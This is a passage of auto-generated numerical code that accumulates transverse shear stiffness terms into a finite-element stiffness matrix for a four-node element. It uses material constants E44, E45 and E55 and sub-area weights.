k0[i2*dof+2, i3*dof+3] += 0.166666666666667*Ac1*(E44*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E45*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac
k0[i2*dof+2, i3*dof+4] += 0.166666666666667*Ac1*(E45*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E55*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac
k0[i2*dof+2, i4*dof+2] += -0.166666666666667*c2*(E45*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E55*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac + 0.166666666666667*d2*(E44*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E45*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac
k0[i2*dof+2, i4*dof+3] += -0.0833333333333333*a2*c2*(E45*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E55*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac + 0.0833333333333333*a2*d2*(E44*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E45*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac
k0[i2*dof+2, i4*dof+4] += -0.0833333333333333*b2*c2*(E45*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E55*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac + 0.0833333333333333*b2*d2*(E44*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2)) + E45*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2)))/Ac
k0[i2*dof+3, i1*dof+2] += (Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2)))*(E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E55*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac + (Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2)))*(E44*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E45*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac
k0[i2*dof+3, i1*dof+3] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2))*(E44*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E45*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac + (E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E55*(a1*c1/4 + 0.166666666666667*a2*c2))*(-a1*c1/4 - 0.0833333333333333*a2*c2)/Ac
k0[i2*dof+3, i1*dof+4] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2))*(E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E55*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac + (E44*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E45*(a1*c1/4 + 0.166666666666667*a2*c2))*(b1*d1/4 + 0.0833333333333333*b2*d2)/Ac
k0[i2*dof+3, i2*dof+2] += (Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2))*(E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E55*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac + (Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2))*(E44*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E45*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac
k0[i2*dof+3, i2*dof+3] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2)))*(E44*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E45*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac + (E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E55*(a1*c1/4 + 0.166666666666667*a2*c2))*(a1*c1/4 + 0.166666666666667*a2*c2)/Ac
k0[i2*dof+3, i2*dof+4] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2))*(E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E55*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac + (E44*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E45*(a1*c1/4 + 0.166666666666667*a2*c2))*(-b1*d1/4 - 0.166666666666667*b2*d2)/Ac
k0[i2*dof+3, i3*dof+2] += (-0.166666666666667*a1 + 0.166666666666667*c1)*(E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E55*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac + (0.166666666666667*b1 - 0.166666666666667*d1)*(E44*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E45*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac
k0[i2*dof+3, i3*dof+3] += 0.166666666666667*Ac1*(E44*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E45*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac
k0[i2*dof+3, i3*dof+4] += 0.166666666666667*Ac1*(E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E55*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac
k0[i2*dof+3, i4*dof+2] += -0.166666666666667*c2*(E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E55*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac + 0.166666666666667*d2*(E44*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E45*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac
k0[i2*dof+3, i4*dof+3] += -0.0833333333333333*a2*c2*(E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E55*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac + 0.0833333333333333*a2*d2*(E44*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E45*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac
k0[i2*dof+3, i4*dof+4] += -0.0833333333333333*b2*c2*(E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E55*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac + 0.0833333333333333*b2*d2*(E44*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2))) + E45*(a1*c1/4 + 0.166666666666667*a2*c2))/Ac
k0[i2*dof+4, i1*dof+2] += (Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2)))*(E45*(-b1*d1/4 - 0.166666666666667*b2*d2) + E55*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac + (Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2)))*(E44*(-b1*d1/4 - 0.166666666666667*b2*d2) + E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac
k0[i2*dof+4, i1*dof+3] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2))*(E44*(-b1*d1/4 - 0.166666666666667*b2*d2) + E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac + (E45*(-b1*d1/4 - 0.166666666666667*b2*d2) + E55*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))*(-a1*c1/4 - 0.0833333333333333*a2*c2)/Ac
k0[i2*dof+4, i1*dof+4] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2))*(E45*(-b1*d1/4 - 0.166666666666667*b2*d2) + E55*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac + (E44*(-b1*d1/4 - 0.166666666666667*b2*d2) + E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))*(b1*d1/4 + 0.0833333333333333*b2*d2)/Ac
k0[i2*dof+4, i2*dof+2] += (Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2))*(E45*(-b1*d1/4 - 0.166666666666667*b2*d2) + E55*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac + (Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2))*(E44*(-b1*d1/4 - 0.166666666666667*b2*d2) + E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac
k0[i2*dof+4, i2*dof+3] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2)))*(E44*(-b1*d1/4 - 0.166666666666667*b2*d2) + E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac + (E45*(-b1*d1/4 - 0.166666666666667*b2*d2) + E55*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))*(a1*c1/4 + 0.166666666666667*a2*c2)/Ac
k0[i2*dof+4, i2*dof+4] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2))*(E45*(-b1*d1/4 - 0.166666666666667*b2*d2) + E55*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac + (E44*(-b1*d1/4 - 0.166666666666667*b2*d2) + E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))*(-b1*d1/4 - 0.166666666666667*b2*d2)/Ac
k0[i2*dof+4, i3*dof+2] += (-0.166666666666667*a1 + 0.166666666666667*c1)*(E45*(-b1*d1/4 - 0.166666666666667*b2*d2) + E55*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac + (0.166666666666667*b1 - 0.166666666666667*d1)*(E44*(-b1*d1/4 - 0.166666666666667*b2*d2) + E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac
k0[i2*dof+4, i3*dof+3] += 0.166666666666667*Ac1*(E44*(-b1*d1/4 - 0.166666666666667*b2*d2) + E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac
k0[i2*dof+4, i3*dof+4] += 0.166666666666667*Ac1*(E45*(-b1*d1/4 - 0.166666666666667*b2*d2) + E55*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac
k0[i2*dof+4, i4*dof+2] += -0.166666666666667*c2*(E45*(-b1*d1/4 - 0.166666666666667*b2*d2) + E55*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac + 0.166666666666667*d2*(E44*(-b1*d1/4 - 0.166666666666667*b2*d2) + E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac
k0[i2*dof+4, i4*dof+3] += -0.0833333333333333*a2*c2*(E45*(-b1*d1/4 - 0.166666666666667*b2*d2) + E55*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac + 0.0833333333333333*a2*d2*(E44*(-b1*d1/4 - 0.166666666666667*b2*d2) + E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac
k0[i2*dof+4, i4*dof+4] += -0.0833333333333333*b2*c2*(E45*(-b1*d1/4 - 0.166666666666667*b2*d2) + E55*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac + 0.0833333333333333*b2*d2*(E44*(-b1*d1/4 - 0.166666666666667*b2*d2) + E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2)))/Ac
k0[i3*dof+2, i1*dof+2] += (Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2)))*(E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac + (Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2)))*(E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac
k0[i3*dof+2, i1*dof+3] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2))*(E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac + (E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1))*(-a1*c1/4 - 0.0833333333333333*a2*c2)/Ac
k0[i3*dof+2, i1*dof+4] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2))*(E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac + (E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1))*(b1*d1/4 + 0.0833333333333333*b2*d2)/Ac
k0[i3*dof+2, i2*dof+2] += (Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2))*(E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac + (Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2))*(E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac
k0[i3*dof+2, i2*dof+3] += (Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2)))*(E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac + (E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1))*(a1*c1/4 + 0.166666666666667*a2*c2)/Ac
k0[i3*dof+2, i2*dof+4] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2))*(E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac + (E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1))*(-b1*d1/4 - 0.166666666666667*b2*d2)/Ac
k0[i3*dof+2, i3*dof+2] += (-0.166666666666667*a1 + 0.166666666666667*c1)*(E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac + (0.166666666666667*b1 - 0.166666666666667*d1)*(E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac
k0[i3*dof+2, i3*dof+3] += 0.166666666666667*Ac1*(E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac
k0[i3*dof+2, i3*dof+4] += 0.166666666666667*Ac1*(E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac
k0[i3*dof+2, i4*dof+2] += -0.166666666666667*c2*(E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac + 0.166666666666667*d2*(E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac
k0[i3*dof+2, i4*dof+3] += -0.0833333333333333*a2*c2*(E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac + 0.0833333333333333*a2*d2*(E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac
k0[i3*dof+2, i4*dof+4] += -0.0833333333333333*b2*c2*(E45*(0.166666666666667*b1 - 0.166666666666667*d1) + E55*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac + 0.0833333333333333*b2*d2*(E44*(0.166666666666667*b1 - 0.166666666666667*d1) + E45*(-0.166666666666667*a1 + 0.166666666666667*c1))/Ac
k0[i3*dof+3, i1*dof+2] += 0.166666666666667*Ac1*E44*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2)))/Ac + 0.166666666666667*Ac1*E45*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2)))/Ac
k0[i3*dof+3, i1*dof+3] += 0.166666666666667*Ac1*E44*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2))/Ac + 0.166666666666667*Ac1*E45*(-a1*c1/4 - 0.0833333333333333*a2*c2)/Ac
k0[i3*dof+3, i1*dof+4] += 0.166666666666667*Ac1*E44*(b1*d1/4 + 0.0833333333333333*b2*d2)/Ac + 0.166666666666667*Ac1*E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2))/Ac
k0[i3*dof+3, i2*dof+2] += 0.166666666666667*Ac1*E44*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2))/Ac + 0.166666666666667*Ac1*E45*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2))/Ac
k0[i3*dof+3, i2*dof+3] += 0.166666666666667*Ac1*E44*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2)))/Ac + 0.166666666666667*Ac1*E45*(a1*c1/4 + 0.166666666666667*a2*c2)/Ac
k0[i3*dof+3, i2*dof+4] += 0.166666666666667*Ac1*E44*(-b1*d1/4 - 0.166666666666667*b2*d2)/Ac + 0.166666666666667*Ac1*E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2))/Ac
k0[i3*dof+3, i3*dof+2] += 0.166666666666667*Ac1*E44*(0.166666666666667*b1 - 0.166666666666667*d1)/Ac + 0.166666666666667*Ac1*E45*(-0.166666666666667*a1 + 0.166666666666667*c1)/Ac
k0[i3*dof+3, i3*dof+3] += 0.0277777777777778*(Ac1*Ac1)*E44/Ac
k0[i3*dof+3, i3*dof+4] += 0.0277777777777778*(Ac1*Ac1)*E45/Ac
k0[i3*dof+3, i4*dof+2] += 0.0277777777777778*Ac1*E44*d2/Ac - 0.0277777777777778*Ac1*E45*c2/Ac
k0[i3*dof+3, i4*dof+3] += 0.0138888888888889*Ac1*E44*a2*d2/Ac - 0.0138888888888889*Ac1*E45*a2*c2/Ac
k0[i3*dof+3, i4*dof+4] += 0.0138888888888889*Ac1*E44*b2*d2/Ac - 0.0138888888888889*Ac1*E45*b2*c2/Ac
k0[i3*dof+4, i1*dof+2] += 0.166666666666667*Ac1*E45*(Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2)))/Ac + 0.166666666666667*Ac1*E55*(Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2)))/Ac
k0[i3*dof+4, i1*dof+3] += 0.166666666666667*Ac1*E45*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2))/Ac + 0.166666666666667*Ac1*E55*(-a1*c1/4 - 0.0833333333333333*a2*c2)/Ac
k0[i3*dof+4, i1*dof+4] += 0.166666666666667*Ac1*E45*(b1*d1/4 + 0.0833333333333333*b2*d2)/Ac + 0.166666666666667*Ac1*E55*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(1/2 - 0.0833333333333333*b2*c2/Ac2))/Ac
k0[i3*dof+4, i2*dof+2] += 0.166666666666667*Ac1*E45*(Ac1*(-b1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(-b2/(2*Ac2) + 0.166666666666667*d2/Ac2))/Ac + 0.166666666666667*Ac1*E55*(Ac1*(a1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(a2/(2*Ac2) - 0.166666666666667*c2/Ac2))/Ac
k0[i3*dof+4, i2*dof+3] += 0.166666666666667*Ac1*E45*(Ac1*(0.166666666666667 - b1*c1/(4*Ac1)) + Ac2*(0.0833333333333333*a2*d2/Ac2 - b2*c2/(4*Ac2)))/Ac + 0.166666666666667*Ac1*E55*(a1*c1/4 + 0.166666666666667*a2*c2)/Ac
k0[i3*dof+4, i2*dof+4] += 0.166666666666667*Ac1*E45*(-b1*d1/4 - 0.166666666666667*b2*d2)/Ac + 0.166666666666667*Ac1*E55*(Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(a2*d2/(4*Ac2) - 0.0833333333333333*b2*c2/Ac2))/Ac
k0[i3*dof+4, i3*dof+2] += 0.166666666666667*Ac1*E45*(0.166666666666667*b1 - 0.166666666666667*d1)/Ac + 0.166666666666667*Ac1*E55*(-0.166666666666667*a1 + 0.166666666666667*c1)/Ac
k0[i3*dof+4, i3*dof+3] += 0.0277777777777778*(Ac1*Ac1)*E45/Ac
k0[i3*dof+4, i3*dof+4] += 0.0277777777777778*(Ac1*Ac1)*E55/Ac
k0[i3*dof+4, i4*dof+2] += 0.0277777777777778*Ac1*E45*d2/Ac - 0.0277777777777778*Ac1*E55*c2/Ac
k0[i3*dof+4, i4*dof+3] += 0.0138888888888889*Ac1*E45*a2*d2/Ac - 0.0138888888888889*Ac1*E55*a2*c2/Ac
k0[i3*dof+4, i4*dof+4] += 0.0138888888888889*Ac1*E45*b2*d2/Ac - 0.0138888888888889*Ac1*E55*b2*c2/Ac
k0[i4*dof+2, i1*dof+2] += (Ac1*(-c1/(2*Ac1) + 0.166666666666667*(-a1 + c1)/Ac1) + Ac2*(-0.166666666666667*c2/Ac2 + (-a2 + c2)/(2*Ac2)))*(0.166666666666667*E45*d2 - 0.166666666666667*E55*c2)/Ac + (Ac1*(d1/(2*Ac1) + 0.166666666666667*(b1 - d1)/Ac1) + Ac2*(0.166666666666667*d2/Ac2 + (b2 - d2)/(2*Ac2)))*(0.166666666666667*E44*d2 - 0.166666666666667*E45*c2)/Ac
k0[i4*dof+2, i1*dof+3] += (Ac1*(0.166666666666667 + a1*d1/(4*Ac1)) + Ac2*(1/2 + 0.0833333333333333*a2*d2/Ac2))*(0.166666666666667*E44*d2 - 0.166666666666667*E45*c2)/Ac + (0.166666666666667*E45*d2 - 0.166666666666667*E55*c2)*(-a1*c1/4 - 0.0833333333333333*a2*c2)/Ac
